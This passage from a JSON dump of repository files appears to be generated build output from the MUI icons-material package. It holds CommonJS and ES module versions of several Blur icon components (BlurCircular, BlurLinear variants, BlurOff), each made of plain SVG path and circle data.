    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"10\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"14\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"10\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 13.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8M7 9.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"14\",\n  r: \"1\"\n}, \"6\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 7.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m4 9c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m3-7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m0 4c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"7\")], 'BlurCircularTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurCircularTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"10\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"14\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"10\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 13.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8M7 9.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"14\",\n  r: \"1\"\n}, \"6\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 7.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m4 9c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m3-7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m0 4c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}, \"7\")], 'BlurCircularTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurLinear.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M9 13c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1M3 21h18v-2H3zM5 9.5c.83 0 1.5-.67 1.5-1.5S5.83 6.5 5 6.5 3.5 7.17 3.5 8 4.17 9.5 5 9.5m0 4c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M9 17c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m8-.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M3 3v2h18V3zm14 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m0 4c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M13 9c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'BlurLinear');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurLinear.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M9 13c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1M3 21h18v-2H3zM5 9.5c.83 0 1.5-.67 1.5-1.5S5.83 6.5 5 6.5 3.5 7.17 3.5 8 4.17 9.5 5 9.5m0 4c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M9 17c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m8-.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M3 3v2h18V3zm14 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m0 4c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M13 9c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'BlurLinear');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurLinearOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M9 13c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1M3 21h18v-2H3zM5 9.5c.83 0 1.5-.67 1.5-1.5S5.83 6.5 5 6.5 3.5 7.17 3.5 8 4.17 9.5 5 9.5m0 4c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M9 17c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m8-.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M3 3v2h18V3zm14 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m0 4c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M13 9c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'BlurLinearOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurLinearOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M9 13c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1M3 21h18v-2H3zM5 9.5c.83 0 1.5-.67 1.5-1.5S5.83 6.5 5 6.5 3.5 7.17 3.5 8 4.17 9.5 5 9.5m0 4c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M9 17c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m8-.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M3 3v2h18V3zm14 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m0 4c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M13 9c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'BlurLinearOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurLinearRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M9 13c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1M4 21h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M5 9.5c.83 0 1.5-.67 1.5-1.5S5.83 6.5 5 6.5 3.5 7.17 3.5 8 4.17 9.5 5 9.5m0 4c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M9 17c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m8-.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M3 4c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m14 4.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m0 4c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M13 9c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'BlurLinearRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurLinearRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M9 13c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1M4 21h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M5 9.5c.83 0 1.5-.67 1.5-1.5S5.83 6.5 5 6.5 3.5 7.17 3.5 8 4.17 9.5 5 9.5m0 4c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M9 17c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m8-.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M3 4c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m14 4.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m0 4c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M13 9c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'BlurLinearRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurLinearSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M9 13c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1M3 21h18v-2H3zM5 9.5c.83 0 1.5-.67 1.5-1.5S5.83 6.5 5 6.5 3.5 7.17 3.5 8 4.17 9.5 5 9.5m0 4c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M9 17c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m8-.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M3 3v2h18V3zm14 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m0 4c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M13 9c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'BlurLinearSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurLinearSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M9 13c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1M3 21h18v-2H3zM5 9.5c.83 0 1.5-.67 1.5-1.5S5.83 6.5 5 6.5 3.5 7.17 3.5 8 4.17 9.5 5 9.5m0 4c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M9 17c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m8-.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M3 3v2h18V3zm14 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m0 4c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M13 9c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'BlurLinearSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurLinearTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 16.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"12\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"8\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"16\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"12\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v2H3z\"\n}, \"6\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"5\",\n  cy: \"8\",\n  r: \"1.5\"\n}, \"7\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"5\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"8\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"5\",\n  cy: \"16\",\n  r: \"1.5\"\n}, \"9\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 8.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"10\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"16\",\n  r: \"1\"\n}, \"11\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8\",\n  r: \"1\"\n}, \"12\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19h18v2H3z\"\n}, \"13\")], 'BlurLinearTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurLinearTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 16.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"12\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"8\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"16\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"12\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v2H3z\"\n}, \"6\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"5\",\n  cy: \"8\",\n  r: \"1.5\"\n}, \"7\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"5\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"8\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"5\",\n  cy: \"16\",\n  r: \"1.5\"\n}, \"9\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 8.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5\"\n}, \"10\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"16\",\n  r: \"1\"\n}, \"11\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8\",\n  r: \"1\"\n}, \"12\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19h18v2H3z\"\n}, \"13\")], 'BlurLinearTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m-.2 4.48.2.02c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5l.02.2c.09.67.61 1.19 1.28 1.28M14 3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-4 0c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m11 7c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M10 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m8 8c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m-4 13.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M2.5 5.27l3.78 3.78L6 9c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l2.81 2.81c-.71.11-1.25.73-1.25 1.47 0 .83.67 1.5 1.5 1.5.74 0 1.36-.54 1.47-1.25l2.81 2.81c-.09-.03-.18-.06-.28-.06-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l3.78 3.78L20 20.23 3.77 4zM10 17c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m11-3.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M6 13c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1M3 9.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 11c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M6 17c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-3-3.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}), 'BlurOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m-.2 4.48.2.02c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5l.02.2c.09.67.61 1.19 1.28 1.28M14 3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-4 0c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m11 7c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M10 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m8 8c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-4c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m-4 13.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M2.5 5.27l3.78 3.78L6 9c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l2.81 2.81c-.71.11-1.25.73-1.25 1.47 0 .83.67 1.5 1.5 1.5.74 0 1.36-.54 1.47-1.25l2.81 2.81c-.09-.03-.18-.06-.28-.06-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1c0-.1-.03-.19-.06-.28l3.78 3.78L20 20.23 3.77 4zM10 17c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m11-3.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M6 13c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1M3 9.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 11c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M6 17c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-3-3.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5\"\n}), 'BlurOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlurOffOutlined.js",
